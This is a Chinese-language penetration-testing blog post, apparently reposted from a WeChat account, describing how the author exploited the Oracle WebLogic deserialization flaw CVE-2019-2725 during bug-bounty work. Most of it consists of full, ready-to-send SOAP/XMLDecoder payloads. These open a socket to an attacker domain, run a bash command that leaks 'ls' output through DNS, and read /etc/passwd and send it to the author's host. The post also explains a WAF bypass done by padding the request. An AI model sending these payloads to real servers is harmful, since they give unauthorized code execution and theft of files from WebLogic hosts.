weblogic远程代码执行(利用CVE-2019-2725)

admin 2021年1月29日06:00:50评论125 views字数 4463阅读14分52秒阅读模式

Part 01

TL;DR

在本文中,我将解释用于开发CVE-2019-2725的几种技术。


Part 02

关于weblogic

Oracle WebLogic Server是Oracle Corporation当前开发的Java EE应用服务器。Oracle在2008年收购BEA Systems时收购了WebLogic Server。Wikipedia


Part 03

CVE-2019-2725

2019年4月25日,一组网络安全研究人员发布了警告,描述了Oracle WebLogic中的远程代码执行零日漏洞。此漏洞影响启用了组件wls9_async_response.war和wls-wsat.war的WebLogic版本10.X和12.1.3。可以通过将带有Java XML bean的特制SOAP请求发送到endpoint来验证该漏洞/_async/AsyncResponseService。


Part 04

细节

在对已安装weblogic的目标进行渗透测试时,我决定测试常见的weblogic CVE。目标具有/_async/AsyncResponseService可用于测试CVE-2019-2725的endpoint“ ”。我尝试做的第一件事是通过创建一个尝试连接到服务器的“ java.net.Socket”对象来验证目标是否易受攻击,并查看是否可以使用以下payload在监听器上获得任何连接:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>java.net.Socket</string>
<void>
<string>rcetest.test.zombiehelp54.me</string>
<int>80</int>
</void>
</class>
</java>
</work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>


但是,由于WAF,服务器从未响应,并且从未发送过我的请求,经过更多测试,我能够通过在XMLpayload之前添加这么多的空间来绕过WAF,因为当内容出现时,WAF会忽略其余的请求数据长度太长。

之后,我确实获得了202状态的响应,但是,在endpoint80上的netcat侦听器上什么都没有得到,后来我发现防火墙也阻止了所有传出连接。然后,我决定检查DNS请求,发现DNS请求正在发送,并且在我的侦听器上收到了DNS请求

rcetest.test.zombiehelp54.me

这样说就意味着服务器很容易受到攻击,因为我能够创建一个“ java.net.Socket”对象并将其连接到我的服务器。

org.slf4j.ext.EventData类来利用它,但是从来没有提供该类的payload,但是,在阅读了org.slf4j.ext.EventData类的源代码之后,我能够构建自己的payload来执行系统命令:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>org.slf4j.ext.EventData</string>
<void>
<string>
<![CDATA[<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping "`ls | head -n 1`.hack.zombiehelp54.me"</string>
</void>
</array>
<void method="start" /></void>
</java>]]>
</string>
</void>
</class>
</java>
</work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>


基本上,以上XML确实是它创建了一个org.slf4j.ext.EventData对象,它需要一个XML bean作为一个字符串,然后解码,并创建一个java.lang.ProcessBuilder对象出来,该后 start()方法被调用,其执行系统命令

ping "`ls | head -n 1`.hack.zombiehelp54.me"

因此有一个DNS请求ls命令的结果。

weblogic远程代码执行(利用CVE-2019-2725)


我报告了所发现的内容,然后继续在其他漏洞赏金计划中寻找相同的漏洞。另外,我发现了其他一些漏洞赏金程序,它们也很容易受到攻击,并且其中一些使用了相同的惰性WAF,当长度太长时,它会忽略请求正文。他们中的一些部署自定义修复程序不能访问java.lang.ProcessBuilder,以及java.lang.Runtime类,以防止系统命令的执行,然而,这样做更多的研究,关于“后java.beans.XMLDecoder”级和理解的语法,它可以用来创建任何类中的任何Java对象与调用函数和添加属性的能力。因此,可以对提到的易受攻击的服务器进行读写。

如此说来,我创建了一个XML bean,它读取文件“ /etc/passwd”并将其通过DNS请求发送到我的服务器:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>org.slf4j.ext.EventData</string>
<void>
<string><![CDATA[
<java>
<object id="file" class="java.io.FileReader">
<string>/etc/passwd</string>
</object>
<object id="text" class="java.io.BufferedReader">
<object idref="file" />
<void id="res" method="readLine"/>
</object>
<object idref="res">
<void id="res2" method="replace">
<string>:</string>
<string>-</string>
</void>
</object>
<object idref="res2">
<void id="res3" method="replace">
<string>/</string>
<string>-</string>
</void>
</object>
<object id="zhp" class="java.lang.String">
<string>http://</string>
</object>
<object idref="zhp">
<void id="res4" method="concat" >
<object idref="res3" />
</void>
</object>
<object idref="res4">
<void id="res5" method="concat" >
<string>.hack.zombiehelp54.me</string>
</void>
</object>
<object id="url" class="java.net.URL">
<object idref="res5" /></object>
<object idref="url">
<void id="connection" method="openConnection" />
</object>
<object idref="connection">
<void id="inputStream" method="getInputStream"/>
</object>
</java>
]]></string>
</void>
</class>
</java>
</work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>


weblogic远程代码执行(利用CVE-2019-2725)

EDI安全

weblogic远程代码执行(利用CVE-2019-2725)

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


本文始发于微信公众号(EDI安全):weblogic远程代码执行(利用CVE-2019-2725)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年1月29日06:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   weblogic远程代码执行(利用CVE-2019-2725)http://cn-sec.com/archives/257165.html

发表评论

匿名网友 填写信息